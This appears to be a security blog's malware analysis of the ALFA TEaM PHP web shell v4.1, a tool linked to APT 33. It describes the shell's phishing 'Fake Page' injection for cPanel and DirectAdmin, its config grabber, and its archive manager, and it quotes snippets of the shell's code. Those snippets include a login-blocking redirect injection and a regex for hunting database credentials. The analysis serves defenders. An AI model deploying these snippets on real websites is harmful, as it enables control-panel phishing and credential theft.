ALFA TEaM is an Iranian associated group who create various web malware including PHP shells and in the past one such tool, ALFA TEaM Shell, has been used by threat actors like APT 33. APT 33 is a suspected Iranian group that has targeted various industries in the past. You can read a detailed analysis from FireEye on the group APT 33 and their tactics here.

ALFA TEaM Shell ~ v4.1-Tesla (September 14, 2020)

ALFA TEaM’s web shell contains a lot of functions built within the single PHP file and so it is a sort of “all-in-one” web shell. I first started running into ALFA TEaM PHP shells in 2017 on compromised websites and it looks like version v4.1 is their latest web shell release.

Alfa-Team V4.1 Tesla

It seems the APT 33 group is involved with energy and aerospace industry espionage, so this may lead website owners to wonder why they would find the same PHP shell, ALFA TEaM Shell, on their own hacked website that has nothing to do with the industries targeted by threat actors also using this malware?

The answer is that attackers need a large amount of resources, and I do not necessarily mean system resources like a very powerful server. The resources that the attackers need are things that will help get their malware delivered to the desired target. This means items like “aged” websites that aren’t blacklisted, clean IP addresses from various providers and geographical locations, known email accounts, etc. Anything that would give credibility to their crafted malicious emails that deliver the malware payload as otherwise various security controls will stop their malicious email from ever reaching the target’s inbox or other targeted delivery system.

It turns out that it is easier for these groups to just compromise other people’s websites rather than spend all the time and money creating a network of various types of websites located around the world and with years of aged history. All it takes is one or two blacklistings for a website and then all of that work would be wasted from the attacker’s perspective. If they don’t have to create, maintain, and age a website and can instead gain unauthorized access to a vulnerable 3rd party website, then it is more efficient for them.

v4.1 Tesla: New Features

The number of offered features make this web shell a sort of an “all-in-one” web shell:

Alfa v4.1 Tesla Features

Since there are so many features, I will focus on the added or updated features for the newest version v4.1.

When comparing v4.1’s PHP code, we can see the following features were added as they are not present in v3 of the web shell:

'dumper'	➠	'Database Dumper',
'coldumper'	➠	'Column Dumper',
'deziper'	➠	'DeCompressor',
'fakepage'	➠	'Fake Page',
'config_grabber'	➠	'Config Grabber',
'archive_manager'	➠	'Archive Manager',

The first three new features are just variations of existing features (e.g Mysql Dumper split into two features Database Dumper and Column Dumper).

We will instead focus on the last three features and what they do:

Fake Page
Config Grabber
Archive Manager

Fake Page

This is the most interesting new feature that has been added to v4.1 and it allows the attacker to create an on-the-fly phishing page for the two most common hosting control panels - cPanel and DirectAdmin.


As displayed in the image, there are a few parameters that the attacker can input when setting up the control panel fake page from within the web shell. I’ve explained them in more detail below so it’s easier to understand what is going on here.

Panel: cPanel

cPanel or DirectAdmin are the available options.

Clone page: hxxps://[redacted].com:2083

The cPanel/DirectAdmin URL so the fake page (phishing page) can be generated from the URL’s HTML source code. Similar to copy/paste when using View Source in a browser, or like the tool HTTrack.

Fake page root: /var/www/html/wordpress/wp-includes/SimpleCake/

The directory on the compromised web server where the phishing files will be hosted. I just made up a directory named SimpleCake within the wp-includes core directory.

Inject to: /var/www/html/wordpress/index.php

The file that will be injected to redirect visitors to the cPanel phishing page upon certain conditions being met. If the conditions aren’t met then nothing happens to any visitors loading the website.

I chose to inject the main WordPress index.php file, but it can be any file that is going to be loaded on the targeted website.

Here’s the code injection at the top of the targeted file (./index.php):


The injection won’t do anything unless two conditions are met:

  • Victim’s requested URL contains “:2083” (default cPanel HTTPS port)
  • Victim’s HTTP request contains a cookie starting with alfa_fakepage_counter

Bind on: /var/www/html/wordpress/wp-login.php

The file that will be inaccessible or “blocked” by the created phishing page. For example, when binded to wp-login.php the victim won’t be able to access the website’s wp-admin interface until after attempting multiple login attempts on the phishing page (which will store their attempts).

Code injection at the top of the targeted file (./wp-login.php):

if((int)$_COOKIE["alfa_fakepage_counter48232"]<3){header("Location: hxxp://localhost/wordpress/?:2083");exit;}

Note the URL used for the redirection, it includes the condition required to load the phishing page. That condition is simply that the URL contains “:2083”.

Log To: /var/www/html/wordpress/

The TXT file that will store the phished data. TXT format allows for it to be quickly downloaded from remote locations should access to the backdoor be lost for whatever reason.

Count of Invalid login: 3

The number of login attempts allowed required before the victim can proceed past the control panel phishing page (fake page). Until the victim has submitted data to the phishing page three times, they won’t be able to access the wp-admin interface for their website. The attempts are tracked by an incremental cookie - alfa_fakepage_counter48232 + 1

The fakepage feature allows for targeted phishing attacks against a compromised website’s hosting control panel, which if successful escalates the attackers privileges as they can now log into the control panel.


This feature is used to recursively search for configuration files and uses two functions, alfaconfig_grabber for the display in the web shell and Alfa_ConfigGrabber for performing the search.

config grabber

As displayed in the image, it returns many files that are not files containing MySQL database user login information. This is due to the search terms contained in $pattern being very greedy and returning a lot of noise in the results.

It’s not a very useful feature IMO.

            	function Alfa_ConfigGrabber($dir, $ext)
                	$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";

Archive Manager


The Archive Manager feature allows the attacker to quickly unpack archive files (e.g .zip, .tar.gz, .gz, etc) into the server’s memory by generating a Phar PHP resource. The attacker can then manage the content as if they had unpacked the archive in a file manager, but instead it is loaded into memory and doesn’t unpack to a directory.

            	function alfaarchive_manager()
                	$file = $_POST['alfa2'];
                	if (!file_exists($file))
                    	$file = $GLOBALS['cwd'];
                	$rand_id = rand(9999, 999999);
                	echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
                	echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
    <div class="txtfont">
    Archive file: <input size="50" id="target" type="text" name="file" value="' . $file . '">
    <input type="submit" name="btn" value=" "></div></form></center><br>';
                	if ($_POST['alfa5'] == '>>')
                    	echo '<hr><div style="margin-left: 12px;" archive_full="phar://' . $file . '" archive_name="' . basename($file) . '" id="archive_dir_' . $rand_id . '" class="archive_dir_holder"><span>PWD: <div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
                    	echo '<div style="padding: 10px;" id="archive_base_' . $rand_id . '">';
                    	__alfa_open_archive_file($file, $rand_id);
                    	echo '</div>';
                	echo '</div>';